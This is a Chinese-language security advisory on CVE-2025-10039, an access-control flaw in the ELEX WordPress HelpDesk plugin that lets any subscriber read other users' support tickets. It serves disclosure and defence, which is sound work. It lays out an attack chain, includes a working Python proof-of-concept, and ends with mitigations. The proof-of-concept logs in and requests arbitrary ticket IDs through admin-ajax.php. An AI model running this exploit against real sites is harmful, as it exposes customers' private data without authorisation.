IPBUF安全漏洞报告
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CVE-2025-10039 CVSS 4.3 中危

CVE-2025-10039 WordPress HelpDesk工单系统IDOR漏洞

披露日期: 2025-11-21

漏洞信息

漏洞编号
CVE-2025-10039
漏洞类型
IDOR (不安全的直接对象引用)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ELEX WordPress HelpDesk & Customer Ticketing System

相关标签

IDORWordPress插件漏洞工单系统数据泄露认证绕过CVE-2025-10039ELEX HelpDesk中危漏洞敏感信息访问权限控制缺陷

漏洞概述

CVE-2025-10039是WordPress插件ELEX WordPress HelpDesk & Customer Ticketing System中的一个中危安全漏洞。该插件是一款流行的WordPress工单和客户支持系统,帮助网站管理员管理客户支持请求和工单。漏洞根源在于插件的'eh_crm_ticket_single_view_client'功能存在不安全的直接对象引用(IDOR)问题。由于缺少对用户控制键的正确验证,攻击者可以利用此漏洞绕过正常的访问控制机制。认证用户(只要具有订阅者Subscriber级别权限)即可访问其他用户的工单内容。这意味着任何已注册用户,包括最低权限的订阅者,都能够读取系统中所有支持工单的完整内容,包括敏感的客户沟通记录、内部备注和其他保密信息。该漏洞影响插件3.2.9及以下所有版本,由于工单系统中通常包含客户个人信息、订单详情和技术支持记录,漏洞被利用后可能导致严重的敏感数据泄露,对企业声誉和客户信任造成重大损害。

技术细节

该漏洞属于典型的Insecure Direct Object Reference (IDOR)类型安全缺陷。在Web应用程序中,IDOR漏洞发生在应用程序使用用户提供的输入直接访问对象而未进行适当的授权验证时。在ELEX HelpDesk插件中,'eh_crm_ticket_single_view_client' AJAX处理函数直接使用攻击者可控的参数作为数据库查询的键值,而没有验证当前登录用户是否有权访问对应的工单记录。攻击者只需修改请求中的工单ID参数,即可绕过访问控制读取任意工单内容。具体技术细节:插件在处理工单查看请求时,接收客户端提交的工单标识符后,直接将该ID用于数据库查询获取工单数据,而没有验证该工单是否属于当前用户或当前用户是否有权限查看。攻击者可以通过遍历工单ID(通常为递增整数)来批量获取系统中所有工单的内容。此漏洞的利用条件极低,攻击者只需拥有一个有效的WordPress账号(即使是最低权限的订阅者角色),通过发送构造的AJAX请求即可触发漏洞。CVSS向量AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N清楚地表明该漏洞可通过网络远程利用,攻击复杂度低,需要低权限认证,不需要用户交互,主要影响机密性。

攻击链分析

STEP 1
步骤1 - 信息收集
攻击者识别目标网站使用的WordPress版本和ELEX HelpDesk插件版本,确认版本在受影响范围内(<=3.2.9)
STEP 2
步骤2 - 账户创建
攻击者注册一个WordPress账户(订阅者角色),或在已有账户情况下获取有效凭据
STEP 3
步骤3 - 构造恶意请求
攻击者构造AJAX请求到wp-admin/admin-ajax.php,动作用'eh_crm_ticket_single_view_client',并修改ticket_id参数指向目标工单
STEP 4
步骤4 - 触发IDOR漏洞
发送构造的请求,由于插件未验证ticket_id归属,攻击者可直接获取任意工单内容
STEP 5
步骤5 - 数据批量提取
通过遍历ticket_id(递增整数),攻击者批量读取系统中所有支持工单的完整内容
STEP 6
步骤6 - 敏感数据利用
攻击者整理获取的敏感信息(客户资料、订单信息、通信记录),用于后续攻击或出售

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-10039 PoC - IDOR in ELEX WordPress HelpDesk Plugin # Target: WordPress site with ELEX HelpDesk plugin <= 3.2.9 # Authentication required: Subscriber-level or higher def exploit_idor(target_url, username, password, ticket_id): """ Exploit IDOR vulnerability in eh_crm_ticket_single_view_client to read arbitrary ticket contents without proper authorization """ session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url, 'testcookie': '1' } # Set user agent and cookies session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' }) resp = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return None print("[+] Login successful") # Step 2: Exploit IDOR vulnerability # The vulnerable parameter is ticket_id in the AJAX request exploit_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'eh_crm_ticket_single_view_client', 'ticket_id': ticket_id # Manipulate this to access any ticket } resp = session.post(exploit_url, data=exploit_data) if resp.status_code == 200: print(f"[+] Ticket #{ticket_id} content retrieved:") print(resp.text) return resp.json() else: print(f"[-] Failed to retrieve ticket #{ticket_id}") return None def main(): if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> <ticket_id>") print(f"Example: python {sys.argv[0]} http://example.com subscriber pass123 1") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] tid = int(sys.argv[4]) exploit_idor(target, user, pwd, tid) if __name__ == "__main__": main()

影响范围

ELEX WordPress HelpDesk & Customer Ticketing System <= 3.2.9

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 限制WordPress注册功能,仅允许受信任用户注册;2) 监控日志中的异常AJAX请求模式;3) 暂时禁用或限制HelpDesk插件的公共访问;4) 实施IP白名单或速率限制减少批量利用风险;5) 提醒用户避免在工单中提交高度敏感信息;6) 启用双因素认证增强账户安全;7) 定期备份数据库以便数据泄露时进行审计和恢复。

参考链接

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